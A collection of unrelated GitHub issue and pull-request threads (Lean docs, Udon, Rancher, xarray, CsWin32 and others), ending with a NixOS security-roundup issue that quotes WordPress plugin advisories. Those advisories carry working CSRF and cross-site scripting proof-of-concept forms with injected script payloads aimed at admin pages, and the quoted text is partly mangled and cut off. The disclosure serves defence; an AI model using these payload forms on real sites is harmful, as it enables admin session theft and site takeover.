feat(lean/main/{tactic.lean + cheat-sheet.lean}): add section on printing

I added a section on dbg_trace and the possible options available for formatting a string.
I also updated the cheat-sheet.
This is expanded from a conversation with Mario Carneiro on Zulip.

I think two concepts are being mixed up. One is debugging/printing and the other is formatting strings.
We don't need to cover the different aspects of string formatting because it's not inherent to metaprogramming. We just need to talk about logInfo and dbg_trace themselves

That is, we can assume the reader already knows about s!, f! and m!. Those are things that would be covered on a (more fundamental) "Programming in Lean 4" book

Ok, I will remove the "weird" options from the printing.  I may still leave a sentence to remind the reader of what the options are, does this seem reasonable?

Ok, I will remove the "weird" options from the printing. I may still leave a sentence to remind the reader of what the options are, does this seem reasonable?

Actually not even that is necessary. What one may accomplish with s!"hi {userName}" by also be accomplished by "hi " ++ userName. It's really a (not meta)programming design choice

I should have removed all references to formatting and simply used whichever one was most convenient!


Udon Broken

Describe the bug in detail:
A clear description of what the bug is.
With a brand new project created from the VRChat Creator Companion, getting lots of errors in the Unity editor related to Udon. None of the Udon examples are functional. All have the same error related to missing source script. No ability to create new Udon scripts or edit existing scripts.
Provide steps/code to reproduce the bug:
Steps or code to reproduce the behavior.

Open CreatorCompanion.
Create a new project.
Open a new project with Unity.
Attempt to edit any of the example Udon scripts.
Attempt to create a new Udon script.

Expected behavior:
What was the excepted result?
Fewer errors or no errors related to Udon when opening the project.
Access to the graph editor when selecting any Udon script to edit.
Additional Information:
Provide any additional information here.
Using Unity Editor 2019.4.31f1 Personal
Attempting to examine one of the example scripts, notice the error on the right in the Inspector Panel.

List of errors that appear when loading the project.

That was a brand new project.

Yes, it's entirely possible for brand new projects to break sometimes due to Unity.

Started a bug report on the creator companion site linked.


fix: long version of go dependency unable to inserted into software table (CVE-2020-36569)

supersedes #5221
Fixes Issue
Fix: long version of go dependency unable to inserted into software table (CVE-2020-36569)
Description of Change
Alter's column size to varchar 75
Please add a description of the proposed change
Alters to a minimum possible value of version columns to 75 characters. Could be more or less as well.
Have test cases been added to cover the new functionality?
no

I'm still using the plugin version 5.1.2 in Jenkins and the issue seems to have been resolved as the pipeline is running again, i am not sure why however since it seems this fix is tied to version 7.4.4. can anyone help me with this?

@abel-gama The Jenkins plugin is versioned seperately from this project as it is a wrapper around the CLI. It only needs change if either our CLI API or the Jenkins API changes. As long as the CLI-version that it runs the update on is 7.4.4 you would not have an issue (and even older versions would no longer experience problems as the versions in NVD have by now been updated to simple datestamps so they no longer exceed the old 60char limit anymore)

Thank you very much for the reply sir, you helped me alot.


FlashDevelop-compatible character position output

For Flixel, I've setup a FlashDevelop .hxproj file to run checkstyle, which means the results are parsed and appear in the results panel, which is quite convenient (a double click takes you to the file at the specified line number).

However, this only works for the line numbers, not character positions - FlashDevelop expects a different format there.
Here's a Haxe error message (FD can handle this format):
C:/HaxeToolkit/haxe/lib/flixel/git/flixel/input/FlxBaseKeyList.hx:24: characters 1-8 : Unexpected private

I guess the question is mostly whether the output can simply be changed in the current text reporter, or if there's a need for a new reporter to maintain backwards compatibility.

That's awesome @Gama11 :+1: Hope I can do the same for intelliJ :)
I think it's better to add a new reporter for flash develop. Can you raise a PR with your changes pls?

To clarify, there are no changes required the get the result I showed in the screenshot, that works out of the box with -r text. The thing that's missing is compatible character positions, line numbers work - I can look into making that work.
I'm not sure about the name for the new reporter. flashdevelop seems too specific, any Haxe IDE that can handle the compiler's error messages should be able to handle this as well.

Got it. If the changes are minimal let's change the text reporter then. Let me know when you make character positions work.

Btw, 2 tests are currently failing for me when running the build.hxml (both from FileLengthCheckTest). Is that expected? The travis is green..

Which branch are you on? I just commited a few updates to dev branch and I can confirm that it has no issues.

I'm on latest dev as well. Here's the output:
* FileLengthCheckTest::testConfigurableFileLength()
ERR: FileLengthCheckTest.hx:25(FileLengthCheckTest.testConfigurableFileLength) -
 expected 'Too many lines in file (> 40)' but was ''

Called from C:\HaxeToolkit\haxe\std/haxe/unit/TestCase.hx line 69
Called from test/FileLengthCheckTest.hx line 25
Called from <builtin> line 1
Called from C:\HaxeToolkit\haxe\std/neko/_std/Reflect.hx line 58
Called from C:\HaxeToolkit\haxe\std/haxe/unit/TestRunner.hx line 115

* FileLengthCheckTest::testDefaultFileLength()
ERR: FileLengthCheckTest.hx:17(FileLengthCheckTest.testDefaultFileLength) - expe
cted 'Too many lines in file (> 2000)' but was ''

Called from C:\HaxeToolkit\haxe\std/haxe/unit/TestCase.hx line 69
Called from test/FileLengthCheckTest.hx line 17
Called from <builtin> line 1
Called from C:\HaxeToolkit\haxe\std/neko/_std/Reflect.hx line 58
Called from C:\HaxeToolkit\haxe\std/haxe/unit/TestRunner.hx line 115

FAILED 160 tests, 2 failed, 158 success

One issue with the current reporter is that only the column is reported, not the actual character range.

Used \n character to test file length, may be that's being replaced in FlashDevelop but not sure. Replaced those tests with simpler versions so it should work now.
When I get a chance I will look into reporting character range if haxeparser supports it.

Oh, I guess you're not on Windows? I am, so this might be Git's autocrlf feature. That would also explain why it works on Travis.
I already have ranges mostly working.

I guess it has to do with how git handles line breaks. On Windows git replaces \n with \r\n, which will make Checker.findLineSeparator find \r as line separator for those checks. And since the tests add lots of \n they fail on Windows.


Rancher creates unused network policies on Calico/GKE clusters; update docs?

Rancher versions:
rancher/server or rancher/rancher: 2.0.1
rancher/agent or rancher/rancher-agent: 2.0.1
Infrastructure Stack versions:
kubernetes (if applicable): GKE - 1.8.10-gke.0
Docker version: (docker version,docker info preferred)
GKE default
Operating system and kernel: (cat /etc/os-release, uname -r preferred)
GCE container-optimized
Type/provider of hosts: (VirtualBox/Bare-metal/AWS/GCE/DO)
GKE/GCE
Setup details: (single node rancher vs. HA rancher, internal DB vs. external DB)
Rancher deployed into GKE cluster, single Rancher pod
Steps to Reproduce:

Create a project in Rancher 2.0.

Results:

The log states, projectSyncer: createDefaultNetworkPolicy: successfully created default network policy for project: p-8sr4j
$ kubectl --namespace=p-8sr4j get networkpolicies returns No resources found.
Cross-project container communication is allowed.

I am not a go programmer but I wonder if this is not properly throwing an error on an invalid namespace... The namespace name used in https://github.com/rancher/rancher/blob/29d8fc2d883fba1c8edfdede4f38702ecd5014f1/pkg/controllers/user/networkpolicy/projectsyncer.go#L79 looks to not be prefixed with p-? That's just a guess, though.
In addition, the default network policy doesn't appear to be doing anything on allowing communication into the default project:
$ kubectl describe networkpolicy np-default
Name:         np-default
Namespace:    default
Created on:   2018-05-22 09:29:40 -0600 MDT
Labels:       field.cattle.io/projectId=project-bvphd
Annotations:  <none>
Spec:
  PodSelector:     <none> (Allowing the specific traffic to all pods in this namespace)
  Allowing ingress traffic:
    To Port: <any> (traffic allowed to all ports)
    From NamespaceSelector: field.cattle.io/projectId=project-bvphd
  Allowing egress traffic:
    <none> (Selected pods are isolated for egress connectivity)
  Policy Types: Ingress

Looks all similar to the discussion at https://github.com/kubernetes/kubernetes/issues/58637, but again, not sure it's totally related.

Related forum post with some historical questions apropos network policy overall: https://forums.rancher.com/t/network-policies-for-projects/10231

Rather, it looks like GKE uses Calico, which is not the kind of networkpolicy that Rancher is creating? Perhaps there could be a flag in the UI that would detect this and warn?
https://docs.projectcalico.org/v3.0/reference/calicoctl/resources/networkpolicy

Tracked down more information on this; replacing with a fresh ticket.


[Enhancement - Policy Details] Update look and feel of the policy details screen

🙋 feature request

Fix the Policy title - should be friendly name
Move the information in the tiles into the Policy Details page, however, we just need to display the data, hence tiles are no longer necessary
Remove items marked with red X - this information we will not expose to the user

🤔 Expected Behavior

😯 Current Behavior

💁 Possible Solution

🔦 Context

💻 Examples

I'll pick up the enhancement

@astra1 can you see about these items please.

@astra1


initialise the map before using it

The map was just declared but not initialised before writing to it.
Fixed this.

@soupdiver The problem remains... The reason is that you can set the hostInfo to nil at https://github.com/cloudradar-monitoring/frontman/blob/master/handler.go#L118


rebase: update node driver registar to latest version

v2.6.0 is the latest version of the same and this commit update it.
Signed-off-by: Humble Chirammal<EMAIL_ADDRESS>

@Mergifyio refresh

@Mergifyio rebase

@Mergifyio requeue


WIP: FIX: correct module name retrieval in `backend.plugins.remove_duplica…

…tes()`

[x] Closes #5944
[ ] Tests added
[ ] Passes pre-commit run --all-files
[ ] User visible changes (including notable bug fixes) are documented in whats-new.rst
[ ] New functions/methods are listed in api.rst

Although this makes the error go away, it doesn't do the right thing. I'll have to think about this more thoroughly.

There seem to be two cases here.

equal entrypoints, introduced by importlib machinery (pointing to the same module)
multiple entrypoints with the same name (pointing to different modules)

The first is remove via set. The second is handled according the old machinery by extracting the modules from value.

Finally, some test is breaking. This test uses the old pkg_resources way and needs to be updated too.
https://github.com/pydata/xarray/blob/ae3fea0251711c027427578933b82d982a07b242/xarray/tests/test_plugins.py#L29-L45

Obviously we have an extensive set of tests for the backend plugins here (https://github.com/pydata/xarray/blob/ae3fea0251711c027427578933b82d982a07b242/xarray/tests/test_plugins.py) but it still uses pkg_resources, so trying to adapt to importlib.

It looks like these changes fix all pending issues. It would be very convenient to get a version 0.20.2 out in near time, since without it breaks testing of packages which implement xarray backends.
@snowman2 I think this is ready for test now with rioxarray.

That did not seem to work, I'll revert.

I'll leave it as is for the next couple of days. I very much appreciate further reviews.

It seems that now the mocking works by specifying the correct import module string for importlib_metadata depending on which importlib is used.
That should be ready for another review.

@alexamici Could you please have a final look into this?

@alexamici Could you please have a final look into this?

Thank you @kmuehlbauer!
LGTM

Thanks for the review @aurghs !

This works for rioxarray. Thanks :+1:


test_cheetah_vicuna producing non-sense output

Hello!
I am excited to use this work in my research but am struggling to set it up.
Similar to a previous issue (https://github.com/DCDmllm/Cheetah/issues/15), I followed the instructions for downloading checkpoints and changing the config, and was able to start the test_cheetah_vicuna script. However the output is random characters.
The only ambiguous part of the instructions is this:

Besides, Cheetor reuses the pretrained Q-former from BLIP-2 that matches FlanT5-XXL.

Am I supposed to also download this and change a config? That is very unclear.
When I run the script it says all the weights are loaded so I am not sure what could be missing or what is happening here...

After changing the vicuna version to what you are linking to in the repository, I now get a different issue like this one:
https://github.com/DCDmllm/Cheetah/issues/13
Traceback (most recent call last):
File "test_cheetah_vicuna.py", line 57, in
llm_message = chat.answer(raw_img_list, context)
File "/home/nlp/users/bkroje/edit-from-video/change_descriptions/Cheetah/Cheetah/cheetah/conversation/conversation.py", line 253, in answer
output_text = self.model.llama_tokenizer.decode(output_token, add_special_tokens=False)
File "/home/nlp/users/bkroje/.conda/envs/cheetah/lib/python3.8/site-packages/transformers/tokenization_utils_base.py", line 3525, in decode
return self._decode(
File "/home/nlp/users/bkroje/.conda/envs/cheetah/lib/python3.8/site-packages/transformers/tokenization_utils.py", line 931, in _decode
filtered_tokens = self.convert_ids_to_tokens(token_ids, skip_special_tokens=skip_special_tokens)
File "/home/nlp/users/bkroje/.conda/envs/cheetah/lib/python3.8/site-packages/transformers/tokenization_utils.py", line 912, in convert_ids_to_tokens
tokens.append(self._convert_id_to_token(index))
File "/home/nlp/users/bkroje/.conda/envs/cheetah/lib/python3.8/site-packages/transformers/models/llama/tokenization_llama.py", line 204, in _convert_id_to_token
token = self.sp_model.IdToPiece(index)
File "/home/nlp/users/bkroje/.conda/envs/cheetah/lib/python3.8/site-packages/sentencepiece/init.py", line 1045, in _batched_func
return _func(self, arg)
File "/home/nlp/users/bkroje/.conda/envs/cheetah/lib/python3.8/site-packages/sentencepiece/init.py", line 1038, in _func
raise IndexError('piece id is out of range.')
IndexError: piece id is out of range.

After switching from Vicuna to Llama-2, I am back to random tokens being produced...


Limit cycles per second to CoCo 3 specifications

This PR introduces a limitation on the number of CPU cycles the emulator can run per second. It calculates how many operation ticks would be allowed within a single cycle of a 60 Hz period. It then counts how many ticks are allowed to be run, stopping the emulator from running more operations once the tick allowance is run out. At a rate of 60Hz the allowed tick count is refreshed, which in turn allows the CPU to continue executing. Note that no unit tests were introduced to cover this change. This PR closes #48

While there isn't sufficient test coverage, I will accept this for now, as more clock changes will be coming soon that will have unit tests.


SafeHandle to typedef conversion should not ignore AddRef failure

Discussed in https://github.com/microsoft/CsWin32/discussions/753

Originally posted by User1785604260 November  7, 2022
I needed to use DangerousGetHandle in some of my own code, and wanted to use the generated CsWin32 code as a reference to see if I was doing so correctly. In looking at the generated CsWin32 code, I'm now wondering if its DangerousAddRef/GetHandle usage is correct. I am 1000% not an expert on this, so I may be completely incorrect.
What I noticed is that the success of DangerousAddRef is only used to determine whether to call DangerousRelease. If DangerousAddRef fails, the generated code still proceeds to call DangerousGetHandle and use that handle. From what I can tell this is incorrect, as failure means that the handle is closed if I'm understanding correctly.
If failure shouldn't be ignored, I'm not sure what the correct behavior would be instead. Maybe throwing ObjectDisposedException?
For example, here's an arbitrary method I picked that uses DangerousGetHandle:
public static unsafe int DestroyPhysicalMonitor(SafeHandle hMonitor)
{
    bool hMonitorAddRef = false;
    try
    {
        winmdroot.Foundation.HANDLE hMonitorLocal;
        if (hMonitor is object)
        {
            hMonitor.DangerousAddRef(ref hMonitorAddRef);
            hMonitorLocal = (winmdroot.Foundation.HANDLE)hMonitor.DangerousGetHandle();
        }
        else
            hMonitorLocal = default(winmdroot.Foundation.HANDLE);
        int __result = PInvoke.DestroyPhysicalMonitor(hMonitorLocal);
        return __result;
    }
    finally
    {
        if (hMonitorAddRef)
            hMonitor.DangerousRelease();
    }
}

On a more advanced note, the documentation for DangerousAddRef also indicates that a Constrained Execution Region should be used. I've never touched those and don't know what proper usage of that would look like, and if it's relevant to CsWin32.
Thank you @User1785604260 for bringing this up.

I'm going to move your more advance point to #763 to explore separately.


Clean tutorials

We have a good variety of tutorials, but some of them have a lot of duplication, and there is not a clear order on how they should be read.
The first task is to rename the tutorials, we need to number them and improve the names.
For example, wheat.py should become 1 - Quickstart
Maybe some of the tutorials should even be deleted for sake of clarity.
It's also worth saying that not all tutorials need to show on the documentation. We select what tutorials we want to show in docs/source/tutorials

Wheat.py is already made Quickstart 😄  I made this edit last time I pushed advanced tutorial.
Let's list out what to include in Beginner's docs and then what in advanced docs.

Wheat.py is already made Quickstart

I mean the name of the file itself as well =)

Quick link to acces it with the issue. https://lgvaz.github.io/mantisshrimp/index.html
I will rename the tutorials.
Section Mantisshrimp Models

Quickstart FasterRCNN.
Advanced FasterRCNN

Section Mantisshrimp Hub

Detr Fine-Tuning

Section Undertstanding Mantisshrimp Data

Quickstart Parsers.

A lot better!. Maybe the Data section should go before the Hub section

Will do that.


Roundup: [oss-security] Multiple Cross-Site Scripting vulnerabilities affecting various WordPress Plugins

Here is a report from the oss-security mailing list for Vulnerability Roundup 27.
Skip to First Email
Instructions:
Identification
Identify if we have the software, in 16.09, 17.03, and unstable. Then determine if we are vulnerable, and make a comment with your findings. It can also be helpful to specify if you think there is a patch, or if it can be fixed via a general update.
Example:
unstable: we are not vulnerable (link to the package)
17.03: we are vulnerable (link to the package)
16.09: we don't have it packaged

IMPORTANT: If you believe there are possibly related issues, bring them up on the parent issue!
Patching
Start by commenting on this issue saying you're working on a patch. This way, we don't duplicate work.
If you open a pull request, tag this issue and the master issue for the roundup.
If you commit the patch directly to a branch, please leave a comment on this issue with the branch and the commit hash, example:
fixed:

release-16.09: abc123

Skip to First Email
Upon Completion ...

[ ] Update Graham's database

Info
Triage Indicator:
-needs-triage +roundup27 thread:0000000000003ef9

File Search: https://search.nix.gsc.io/?q=wordpress&i=fosho&repos=nixos-nixpkgs
GitHub Search: https://github.com/NixOS/nixpkgs/search?utf8=✓&q=wordpress+in%3Apath&type=Code

Should the search term be changed from wordpress? Suggest a new package search by commenting:
-suggested:wordpress +suggested:correctPackageName thread:0000000000003ef9

Known CVEs:

Skip to End
Wed, 1 Mar 2017 07:16:47 +0100 Summer of Pwnage <lists-at-securify.nl><EMAIL_ADDRESS>Please see attached advisories for more information. These issues were
found during Summer of Pwnage (https://sumofpwn.nl), a Dutch community
project. Its goal is to contribute to the security of popular, widely
used OSS projects in a fun and educational way.

admin_custom_login_wordpress_plugin_affected_by_persistent_cross_site_scripting_via_logo_url_field.txt
------------------------------------------------------------------------
Admin Custom Login WordPress plugin affected by persistent Cross-Site
Scripting via Logo URL field
------------------------------------------------------------------------
Burak Kelebek, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A persistent Cross-Site Scripting vulnerability has been encountered in
the Admin Custom Login WordPress plugin. This issue allows an attacker
to perform a wide variety of actions, such as stealing Administrators'
session tokens, or performing arbitrary actions on their behalf. The
"logo_url" field does not validate "/>
			<input type="hidden" name="logo_url_title" value="\\\\"/>
			<input type="submit"/>
		</form>

After this request is executed, re-open the admin panel of WordPress and
visit the Admin Custom Login page.

------------------------------------------------------------------------
References
------------------------------------------------------------------------
[1] https://sumofpwn.nl/advisory/2016/admin_custom_login_wordpress_plugin_affected_by_persistent_cross_site_scripting_via_logo_url_field.html
[2] https://wordpress.org/plugins/admin-custom-login/

admin_custom_login_wordpress_plugin_custom_login_page_affected_by_persistent_cross_site_scripting.txt
------------------------------------------------------------------------
Admin Custom Login WordPress plugin custom login page affected by
persistent Cross-Site Scripting
------------------------------------------------------------------------
Burak Kelebek, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A persistent Cross-Site Scripting vulnerability has been encountered in
the Admin Custom Login WordPress plugin. This issue allows an attacker
to perform a wide variety of actions, such as stealing Administrators'
session tokens, or performing arbitrary actions on their behalf. There
is an option in this plugin to add custom style on the login page of
wordpress. If you simply close the </style> tags you are able to put
malicious script which will be executed on the login page.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160712-0003

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was succesfully tested on the Admin Custom Login [2]
WordPress plugin version <IP_ADDRESS>.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.

------------------------------------------------------------------------
Introduction
------------------------------------------------------------------------
Admin custom login plugin give ability to customize your WordPress admin
login page according to you.

Pugin allows to change background color, background image, background
slide show, login form color, login form font size, login form position,
add social media icon on form and many more features.
------------------------------------------------------------------------
Details
------------------------------------------------------------------------
It is possible as an Admin to put XSS on login page, but more
interesting is the lack of CSRF, so if you can trick a logged-in admin
to open a link with code below XSS will be added to the login page.

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------

		<form
action="http://<target>/wp-admin/options-general.php?page=admin_custom_login"
method="POST">
			<input type="hidden" name="Action" value="loginbgSave" />
			<input type="hidden" name="login_form_position" value="default" />
			<input type="hidden" name="Login_bg_value" value="undefined" />
			<input type="hidden" name="login_background_color" value="" />
			<input type="hidden" name="login_bg_color_overlay" value="undefined"
/>
			<input type="hidden" name="login_bg_image" value="" />
			<input type="hidden" name="login_form_opacity" value="10" />
			<input type="hidden" name="login_form_width" value="300" />
			<input type="hidden" name="login_form_radius" value="3" />
			<input type="hidden" name="login_border_style" value="undefined" />
			<input type="hidden" name="login_border_thikness" value="3" />
			<input type="hidden" name="login_border_color" value="" />
			<input type="hidden" name="login_bg_repeat" value="undefined" />
			<input type="hidden" name="login_bg_position" value="undefined" />
			<input type="hidden" name="login_enable_shadow" value="no" />
			<input type="hidden" name="login_shadow_color" value="" />
			<input type="hidden" name="login_custom_css"
value="
test
</style>" />
			<input type="hidden" name="login_form_left" value="700" />
			<input type="hidden" name="login_form_top" value="300" />
			<input type="hidden" name="login_form_float" value="center" />
			<input type="submit" value="Submit request" />
		</form>

------------------------------------------------------------------------
References
------------------------------------------------------------------------
[1] https://sumofpwn.nl/advisory/2016/admin_custom_login_wordpress_plugin_custom_login_page_affected_by_persistent_cross_site_scripting.html
[2] https://wordpress.org/plugins/admin-custom-login/

cross_site_request_forgery___cross_site_scripting_in_contact_form_manager_wordpress_plugin.txt
------------------------------------------------------------------------
Cross-Site Request Forgery & Cross-Site Scripting in Contact Form
Manager WordPress Plugin
------------------------------------------------------------------------
Edwin Molenaar [2], July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
 It was discovered that Contact Form Manager does not protect against
Cross-Site Request Forgery. This allows an attacker to change arbitrary
Contact Form Manager settings. In addtion, the plugin also fails to
apply proper output encoding, rendering it vulnerable to stored
Cross-Site Scripting.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160718-0003

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
These issues were successfully tested on Contact Form Manager [3]
WordPress Plugin version

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.

------------------------------------------------------------------------
Introduction
------------------------------------------------------------------------
The Contact Form Manager [3] WordPress Plugin lets users create and
manage multiple customized contact forms for their website. It supports
a wide range of contact form elements such as text field, email field,
textarea, dropdown list, radio button, checkbox, date picker, captcha,
and file uploader. It was discovered that Contact Form Manager does not
protect against Cross-Site Request Forgery. This allows an attacker to
change arbitrary Contact Form Manager settings. In addtion, the plugin
also fails to apply proper output encoding, rendering it vulnerable to
stored Cross-Site Scripting.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
These issues exists, because the plugin lacks an anti-CSRF token. Also
improper filtering/output encoding is done on $_POST parameters. These
issues are present in the filed contact-form-manager/admin/add_smtp.php
and contact-form-manager/admin/form-edit.php.

The username input field on the XYZ Contact > SMTP Settings is
vulnerable for Cross-Site Scripting, as wel as the Contact Form Name
input field on the XYZ Contact > Contact Form page.

SMTP Settings URL:
http://<target>/wp-admin/admin.php?page=contact-form-manager-manage-smtp

Contact Forms URL:
http://<target>/wp-admin/admin.php?page=contact-form-manager-managecontactformsp

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------

		<form id="f1" method="POST"
action="http://<target>/wp-admin/admin.php?page=contact-form-manager-manage-smtp&action=add-smtp">

xyz_cfm_SmtpAuthentication<input
name="xyz_cfm_SmtpAuthentication" value="true" size="100">

xyz_cfm_SmtpEmailAddress<input
name="xyz_cfm_SmtpEmailAddress" value="<svg
onload=alert(document.domain)>" size="100">

xyz_cfm_SmtpHostName<input name="xyz_cfm_SmtpHostName"
value="<svg onload=alert(document.domain)>" size="100">

xyz_cfm_SmtpPassword<input name="xyz_cfm_SmtpPassword"
value="<svg onload=alert(document.domain)>" size="100">

xyz_cfm_SmtpPortNumber<input
name="xyz_cfm_SmtpPortNumber" value="25" size="100">

xyz_cfm_SmtpSecuirity<input name="xyz_cfm_SmtpSecuirity"
value="notls" size="100">

		</form>
		<button
onclick="document.getElementById('f1').submit()">Submit</button>

------------------------------------------------------------------------
References
------------------------------------------------------------------------
[1] https://sumofpwn.nl/advisory/2016/cross_site_request_forgery___cross_site_scripting_in_contact_form_manager_wordpress_plugin.html
[2] https://www.linkedin.com/in/edwinmolenaar
[3] https://wordpress.org/plugins/contact-form-manager/

cross_site_scripting_in_alpine_phototile_for_instagram_wordpress_plugin.txt
------------------------------------------------------------------------
Cross-Site Scripting in Alpine PhotoTile for Instagram WordPress Plugin
------------------------------------------------------------------------
Antonis Manaras, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A Cross-Site Scripting vulnerability was found in the Alpine PhotoTile
for Instagram WordPress Plugin. This issue allows an attacker to perform
a wide variety of actions, such as stealing Administrators' session
tokens, or performing arbitrary actions on their behalf. In order to
exploit this issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160725-0010

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Alpine PhotoTile for Instagram [2]
WordPress Plugin version <IP_ADDRESS>.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.

------------------------------------------------------------------------
Introduction
------------------------------------------------------------------------
Alpine PhotoTile for Instagram [2] is a simple, stylish, and compact
plugin for displaying Instagram photos in a sidebar, post, or page. A
Cross-Site Scripting vulnerability was found in the Alpine PhotoTile for
Instagram WordPress Plugin. This issue allows an attacker to perform a
wide variety of actions, such as stealing Administrators' session
tokens, or performing arbitrary actions on their behalf.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
A reflected Cross-Site Scripting vulnerability exists in the Alpine
Photo Tile for Instagam WordPress plugin. This vulnerability allows an
attacker to perform any action with the privileges of the admin user.
The affected code is not protected with an anti-Cross-Site Request
Forgery token. Consequently, it can be exploited by luring the target
user into clicking a specially crafted link or visiting a malicious
website (or advertisement).

The vulnerability exists in the
alpine-photo-tile-for-instagram/gears/alpinebot-admin.php file on line
887:

	+ '&client_id=<?php echo $_POST['client_id']; ?>'

The vulnerability can be exploited using specially crafted URL
parameter. In order to exploit this issue the target user must click a
specially crafted link or visit a malicious website (or advertisement).

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------

		<form
action="http://<target>/wp-admin/options-general.php?page=alpine-photo-tile-for-instagram-settings&tab=add"
method="POST">
			<input type="hidden" name="hidden" value="Y" />
			<input type="hidden" name="add-user" value="Y" />
			<input type="hidden" name="client_id"
value="</script><img src=x onerror=alert(1) />"
/>
			<input type="hidden" name="client_secret" value="bar" />
			<input type="hidden"
name="alpine-photo-tile-for-instagram-settings_add[submit-add]"
value="Add and Authorize New User" />
			<input type="submit" value="Submit request" />
		</form>

------------------------------------------------------------------------
References
------------------------------------------------------------------------
[1] https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_alpine_phototile_for_instagram_wordpress_plugin.html
[2] https://wordpress.org/plugins/alpine-photo-tile-for-instagram/

cross_site_scripting_in_atahualpa_wordpress_theme.txt
------------------------------------------------------------------------
Cross-Site Scripting in Atahualpa WordPress Theme
------------------------------------------------------------------------
Spyros Gasteratos, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A number of Cross-Site Scripting vulnerabilities were found in the
Atahualpa WordPress Theme. This issue allows an attacker to perform a
wide variety of actions, such as stealing Administrators' session
tokens, or performing arbitrary actions on their behalf. In order to
exploit this issue, the attacker has to use the CSRF vulnerability
described in SFY20160759 [2] to trick the admin into storing malicious
input.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160724-0004

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Atahualpa WordPress Theme [3]
WordPress Theme.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.

------------------------------------------------------------------------
Introduction
------------------------------------------------------------------------
Atahualpa v3.7.24 has it's own theme Options page where administrators
can tweak lots of settings including feed links, comments, website
appearance et cetera. Internally the settings submission is handled by
forms submitting a number of POST requests. However, when the settings
get auto-filled back into the form, input is not escaped in many places,
instead it is returned to the user as plaintext. Atahualpa's settings
allow customisation of various fields such as comments, feed links
etcetera.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
Providing any of the following fields with string such as:
"> results in the script element getting
appended after the respective input element when the request returns
from the server:

"comment_feed_link",
"home_cat_menu_bar",
"email_subscribe_link",
"home_single_next_prev",
"email_subscribe_link_title",
"feedburner_email_id",
"excerpt_length",
"page_menu_bar_link_color",
"cat_menu_bar_background_color_parent",
"cat_menu_bar_link_color",
"left_col_pages_exclude",
"widget_lists link-hover-color",
"left_col2_cats_exclude"

The solution to this issue is to encode as html all the user-provided
parameters before they are returned to the browser.

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------
In order to reproduce the issue the following request can be replayed
using the cookies of the current admin.

		<form
action="https://play.sfy.nl/wp-admin/themes.php?page=atahualpa-options"
method="POST">
			<input type="hidden" name="widget_container" value="margin: 0 0 15px
0;"/>
			<input type="hidden" name="widget_title_box" value=""/>
			<input type="hidden" name="widget_title" value="font-size:
1.6em;
font-weight: bold;"/>
			<input type="hidden" name="widget_content" value=""/>
			<input type="hidden" name="widget_lists[li-margin-left]" value="0"/>
			<input type="hidden" name="widget_lists[link-border-left-width]"
value="7"/>
			<input type="hidden" name="widget_lists[link-border-left-color]"
value="CCCCCC"/>
			<input type="hidden"
name="widget_lists[link-border-left-hover-color]" value="000000"/>
			<input type="hidden" name="widget_lists[link-padding-left]"
value="5"/>
			<input type="hidden" name="widget_lists[link-weight]"
value="normal"/>
			<input type="hidden" name="widget_lists[link-color]" value="666666"/>
			<input type="hidden" name="widget_lists[link-hover-color]"
value="000000"/>
			<input type="hidden" name="widget_lists2[li-margin-left]" value="5"/>
			<input type="hidden" name="widget_lists2[link-border-left-width]"
value="7"/>
			<input type="hidden" name="widget_lists2[link-border-left-color]"
value="CCCCCC"/>
			<input type="hidden"
name="widget_lists2[link-border-left-hover-color]" value="000000"/>
			<input type="hidden" name="widget_lists2[link-padding-left]"
value="5"/>
			<input type="hidden" name="widget_lists2[link-weight]"
value="normal"/>
			<input type="hidden" name="widget_lists2[link-color]"
value="666666"/>
			<input type="hidden" name="widget_lists2[link-hover-color]"
value="000000"/>
			<input type="hidden" name="widget_lists3[li-margin-left]" value="5"/>
			<input type="hidden" name="widget_lists3[link-border-left-width]"
value="7"/>
			<input type="hidden" name="widget_lists3[link-border-left-color]"
value="CCCCCCw66ar">ljgl1"/>
			<input type="hidden"
name="widget_lists3[link-border-left-hover-color]" value="000000"/>
			<input type="hidden" name="widget_lists3[link-padding-left]"
value="5"/>
			<input type="hidden" name="widget_lists3[link-weight]"
value="normal"/>
			<input type="hidden" name="widget_lists3[link-color]"
value="666666"/>
			<input type="hidden" name="widget_lists3[link-hover-color]"
value="000000"/>
			<input type="hidden" name="category_widget_display_type"
value="inline"/>
			<input type="hidden" name="select_font_size" value="Default"/>
			<input type="hidden" name="save" value=""/>
			<input type="hidden" name="action" value="save"/>
			<input type="hidden" name="category" value="widgets"/>
			<input type="submit"/>
		</form>

------------------------------------------------------------------------
References
------------------------------------------------------------------------
[1] https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_atahualpa_wordpress_theme.html
[2] https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_atahualpa_wordpress_theme.html
[3] https://wordpress.org/themes/atahualpa/

cross_site_scripting_in_google_analytics_dashboard_wordpress_plugin.txt
------------------------------------------------------------------------
